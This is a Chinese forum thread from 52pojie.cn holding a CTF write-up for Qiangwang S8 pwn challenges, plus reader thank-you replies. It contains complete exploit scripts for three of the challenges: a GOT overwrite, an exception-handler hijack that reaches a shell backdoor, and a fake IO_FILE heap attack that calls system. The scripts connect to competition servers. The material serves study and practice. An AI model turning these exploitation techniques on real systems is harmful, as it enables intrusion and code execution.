吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 996|回复: 21
上一主题 下一主题
收起左侧

[CTF] 强网S8 Pwn WP

[复制链接]
跳转到指定楼层
楼主
inkey 发表于 2024-11-13 18:03 回帖奖励
本帖最后由 inkey 于 2024-11-13 18:04 编辑

新人报道,就简单分享下强网S8的pwn吧

baby_heap

比较简单的一题,有个libc任意地址写(不能写IO_FILE),于是修改libc的got,让printenv打印所有环境变量

#!/usr/bin/env python3
from pwncli import *

context.terminal = ["tmux", "splitw", "-h", "-l", "122"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

if local_flag == "remote":
    addr = '101.200.33.255 34858'
    host = addr.split(' ')
    gift.io = remote(host[0], host[1])
    gift.remote = True
else:
    gift.io = process('./pwn')
    if local_flag == "nodbg":
        gift.remote = True
init_x64_context(gift.io, gift)
libc = load_libc()
gift.elf = ELF('./pwn')
cmd = '''
    b *$rebase(0x1B01)
    b *$rebase(0x1D46)
    c
'''

input_after_this = b'Enter your choice: \n'

def add(size):
    sla(input_after_this, b'1')
    sla(b'size', str(size))

def dele(idx):
    sla(input_after_this, b'2')
    sla(b'which', str(idx))

def edit(idx, data):
    sla(input_after_this, b'3')
    sla(b'which', str(idx))
    sla(b'content', data)

def show(idx):
    sla(input_after_this, b'4')
    sla(b'which', str(idx))

add(0x528)
add(0x5e8)
add(0x518)
dele(1)
add(0x5e8)
show(1)
ru(b'The content is here \n')
libc_base = u64_ex(ru(b'\x7f')[-6:]) - 0x21B110
heap_base = u64_ex(ru(b'\x55')[-6:]) - 0x1950
set_current_libc_base_and_log(libc_base)
log_heap_base_addr(heap_base)

got = libc_base + 0x21A118
sla(': ', '666')
s(p64_ex(got))
s(p64_ex(libc.sym.printf) * 2)
sla(': ', '5')
sl('2')

ia()

本来比赛时,想着改point_guard,劫持exit的,但远程环境似乎不太一样,本地倒是通了...

expect_number

这题也比较简单,比赛时混了个三血🥳

主函数逻辑比较清晰,程序会随机生成运算符号,然后与我们输入的数进行加减乘除

函数的漏洞点在于,保存的历史数据

会产生越界,而改写到别的数据。

恰好菜单选择中4,是通过调用保存的函数指针实现的

越界改写这个为有栈溢出的函数

这个函数当栈溢出时,就会throw出一个异常,而刚好,有一个函数的catch块存在着system("/bin/sh")的后门

于是修改返回地址为该函数try块地址+1,在抛出异常时即可被带有后门函数的catch块捕获到,从而get shell

函数的基址同样也可以通过越界写,然后利用show功能进行泄露

(打的时候发现远程的libc环境与本机完全一样🥰,爽!)

贴个exp

#!/usr/bin/env python3
from pwncli import *
from ctypes import *

context.terminal = ["tmux", "splitw", "-h", "-l", "160"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

if local_flag == "remote":
    addr = '47.94.195.201 30734'
    host = addr.split(' ')
    gift.io = remote(host[0], host[1])
    gift.remote = True
else:
    gift.io = process('./expect_number')
    if local_flag == "nodbg":
        gift.remote = True
init_x64_context(gift.io, gift)
libc = load_libc()
gift.elf = ELF('./expect_number')
rand = cdll.LoadLibrary('./libc.so.6')
cmd = '''
    b *$rebase(0x2DC1)
    b *$rebase(0x29E2)
    b *$rebase(0x2B7A)
    c
'''

def play(num):
    sla(b'>> waiting for your choice', b'1')
    sla(b'>> Which one do you choose? 2 or 1 or 0', str(num))

def show():
    sla(b'>> waiting for your choice', b'2')

file = open("./payload", "r")
payload = file.read()
file.close()
rand.srand(1)

# operator_ = {1: "+", 2: "-", 3: "*", 4: "/"}
# randnum: list[int] = []
# rand_operate = ""
# for _ in range(0x1000):
#     num = rand.rand() % 4 + 1
#     randnum.append(num)
#     rand_operate += operator_[num]

# with open("operate", "w") as f:
#     f.write(rand_operate)

# print(rand_operate)
# print(randnum)
'''
/*-/-/*+--*/*//*+*++/+/-***///-***-/-+/*---/+-*+/*-*/++-**+---+/+-*---+/*-*/*+/*/++*++//*/++++/+***//***/--*-+++-+*---+/+-/--/-/-//+--*-*//++/+-//*++/+-+/*-*/-//+++-*-+*++*/+///-/++/-+//*-*/--/-*+//+-++//-**++*++---++/*/*/+-+*-/**-**+-//++/*+//*++*/*---**-
'''

# for i in range(len(payload) - 0x2):
#     play(payload[i])
# for i in range(len(payload) - 0x2, len(payload)):
#     play(payload[i])

for i in range(0x113):
    play(payload[i])

play(payload[0x113])
show()
ru(b'1100011001000011')
code_base = u64_ex(ru(b'\x0a', drop=True)[-6:]) - 0x4C60
set_current_code_base_and_log(code_base)

launch_gdb(cmd)
sla(b'>> waiting for your choice', b'4')
payload = b'a' * 0x20 + p64_ex(code_base + 0x5680) + p64_ex(code_base + 0x2516)
s(payload)

ia()

chat-with-me

一打开IDA就是扑面而来的Rust味🤯

好在程序本身逻辑比较好理解

菜单堆题(真的是堆吗?)

Leak

通过fuzz可以发现,程序show会泄露出奇奇怪怪的东西

image-20241112103529194

def recv_data():
    ru(b'Content: ')
    data = ru(b'\n').decode()
    match = re.search(r'\[(.*?)\]', data)
    content = match.group(1)
    # 将提取的内容转换为列表
    content_list = list(map(int, content.split(',')))
    # print(content_list)
    bytes_string = bytes(content_list)
    print(bytes_string)
    return bytes_string

让gpt搓个小脚本,把输出的数据转成bytes

从里面拿到有用的地址信息

(其实可以发现,他分配的“堆”都是栈上的,相同的地址)

Hack

在edit功能中,存在溢出

动调发现,程序在函数结尾会析构一个局部变量(就当它是string吧)

溢出可以修改v90的地址,以达到free的效果

在这,我选择free掉管理“堆”的堆(vec)

free后发现,堆管理的第一个(index=0)指向的是自身的上方

相当于可以改写自身,同时show也可以泄露出libc地址

这里我选择修改_IO_list_all,打house of apple 2

因为edit的长度比较短,简单风水一下,多次edit即可

需要注意的是,题目说远程环境有点小变化,需要自己搭个docker,修改一下偏移

exp:

#!/usr/bin/env python3
from pwncli import *
import re

context.terminal = ["tmux", "splitw", "-h", "-l", "150"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

if local_flag == "remote":
    addr = '47.94.231.2 20511'
    # addr = '127.0.0.1 6666'
    host = addr.split(' ')
    gift.io = remote(host[0], host[1])
    gift.remote = True
else:
    gift.io = process('./pwn')
    if local_flag == "nodbg":
        gift.remote = True
init_x64_context(gift.io, gift)
libc = load_libc('./libc.so.6')
gift.elf = ELF('./pwn')
cmd = '''
    directory /mnt/f/Documents/CTF/glibc/glibc-2.39
    b *$rebase(0x1A90F)
    b *$rebase(0x1A022)
    b *$rebase(0x1A2E4)
    b *$rebase(0x1A4C4)
    b *$rebase(0x1A968)
    b *$rebase(0x1A3E4)
    b _IO_wfile_overflow
    c
'''
'''
    b *$rebase(0x19D03)
'''

input_after_this = b'Choice >'

def add():
    sla(input_after_this, b'1')

def dele(idx):
    sla(input_after_this, b'4')
    sla(b'Index', str(idx))

def edit(idx, data):
    sla(input_after_this, b'3')
    sla(b'Index', str(idx))
    sla(b'Content', data)
    return recv_data()

def show(idx):
    sla(input_after_this, b'2')
    sla(b'Index', str(idx))
    return recv_data()

def recv_data():
    ru(b'Content: ')
    data = ru(b'\n').decode()
    match = re.search(r'\[(.*?)\]', data)
    content = match.group(1)
    # 将提取的内容转换为列表
    content_list = list(map(int, content.split(',')))
    # print(content_list)
    bytes_string = bytes(content_list)
    print(bytes_string)
    return bytes_string

add()

leak1 = show(0)
# log_ex(leak1[0x28:0x30])
heap_base = u64_ex(leak1[0x8:0x10]) - 0x2960 - 0x250
# heap_base = u64_ex(leak1[0x8:0x10]) - 0x2BB0
stack = u64_ex(leak1[leak1.find(b'\x7f') - 5 : leak1.find(b'\x7f') + 1]) - 0x178
code_base = u64_ex(leak1[0x28:0x30]) - 0x635B0
log_address_ex2(stack)
log_heap_base_addr(heap_base)
set_current_code_base_and_log(code_base)

for i in range(0x80):
    add()
edit(0, b'a' * 0x20 + p64_ex(heap_base + 0x2BD0))
leak2 = show(1)
libc_base = u64_ex(leak2[leak2.find(b'\x7f') - 5 : leak2.find(b'\x7f') + 1]) - 0x203B30
set_current_libc_base_and_log(libc_base)

launch_gdb(cmd)
edit(
    2, p64_ex(0) + p64_ex(0x21) + p64_ex(libc.sym._IO_list_all) + p64_ex(heap_base + 0x2F00) + p64_ex(heap_base + 0x2BF0) + p64_ex(heap_base + 0x2F00)
)
edit(0, p64_ex(heap_base + 0x2F00))
edit(2, p64_ex(heap_base + 0x2F50) + p64_ex(heap_base + 0x2FA0) + p64_ex(heap_base + 0x90 + 0x250) + p64_ex(heap_base + 0x2FF0))

fake_IO_FILE = heap_base + 0x2F00
_IO_wfile_jumps = libc.sym._IO_wfile_jumps

payload1 = flat(
    {
        0x0: u64_ex("  sh"),
        0x28: 0xB81,
        0x118: fake_IO_FILE + 0x80 - 0x68,
        0x80: libc.sym.system,
        0x88: heap_base + 0x250,
        0xA0: fake_IO_FILE + 0x118 - 0xE0,
        0xD8: _IO_wfile_jumps,
    },
    filler=b'\x00',
)

log_ex(hex(len(payload1)))

edit(3, payload1[:0x4F])
edit(4, payload1[0x50:0x9F])
edit(5, payload1[0xA0:0xEF])
edit(7, payload1[0xF0:0x13F])
log_address_ex2(stack)
pause()
edit(6, p64_ex(0))
sla(input_after_this, b'5')

ia()

Qroute

一个使用go编写的程序,漏洞点出在解析ping ip的时候,程序没有判断两个.之间的字符串长度,因此发生了栈溢出

但是go的ROP较为困难,需要恢复栈上很多地址,才能使程序不报错

ROP实现orw即可






图片好像有点小问题(第一次发帖不太会用

image-20241112104110094.png (68.75 KB, 下载次数: 0)

image-20241112104110094.png

image-20241112103529194.png (25.38 KB, 下载次数: 0)

image-20241112103529194.png

免费评分

参与人数 3吾爱币 +2 热心值 +3 收起 理由
唐小样儿 + 1 + 1 我很赞同!
5196 + 1 + 1 用心讨论,共获提升!
xiao1u1 + 1 用心讨论,共获提升!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

推荐
Hmily 发表于 2024-11-14 14:22

不是看这里,编辑后点附件,看你上传的内容,你如果没把上传的图片插入到正文,他就会自己放到帖子最后。
沙发
Hmily 发表于 2024-11-13 20:49
贴图遇到什么问题了?最后好像有2个图忘记插入正文了还是多余的?
3#
betcom 发表于 2024-11-13 22:34
4#
scglfh 发表于 2024-11-13 22:42
感谢讲解,学习到
5#
dankai18 发表于 2024-11-14 01:03
谢谢楼主分享
6#
jiang8888 发表于 2024-11-14 08:39
感谢讲解,学习到
7#
Ken12138 发表于 2024-11-14 08:44
谢谢楼主分享
8#
c1233 发表于 2024-11-14 08:47
谢谢分享
9#
5196 发表于 2024-11-14 08:55

感谢讲解,谢谢分享
10#
ethanlaux2000 发表于 2024-11-14 09:13
感谢分享,学习了!
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-15 08:03

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表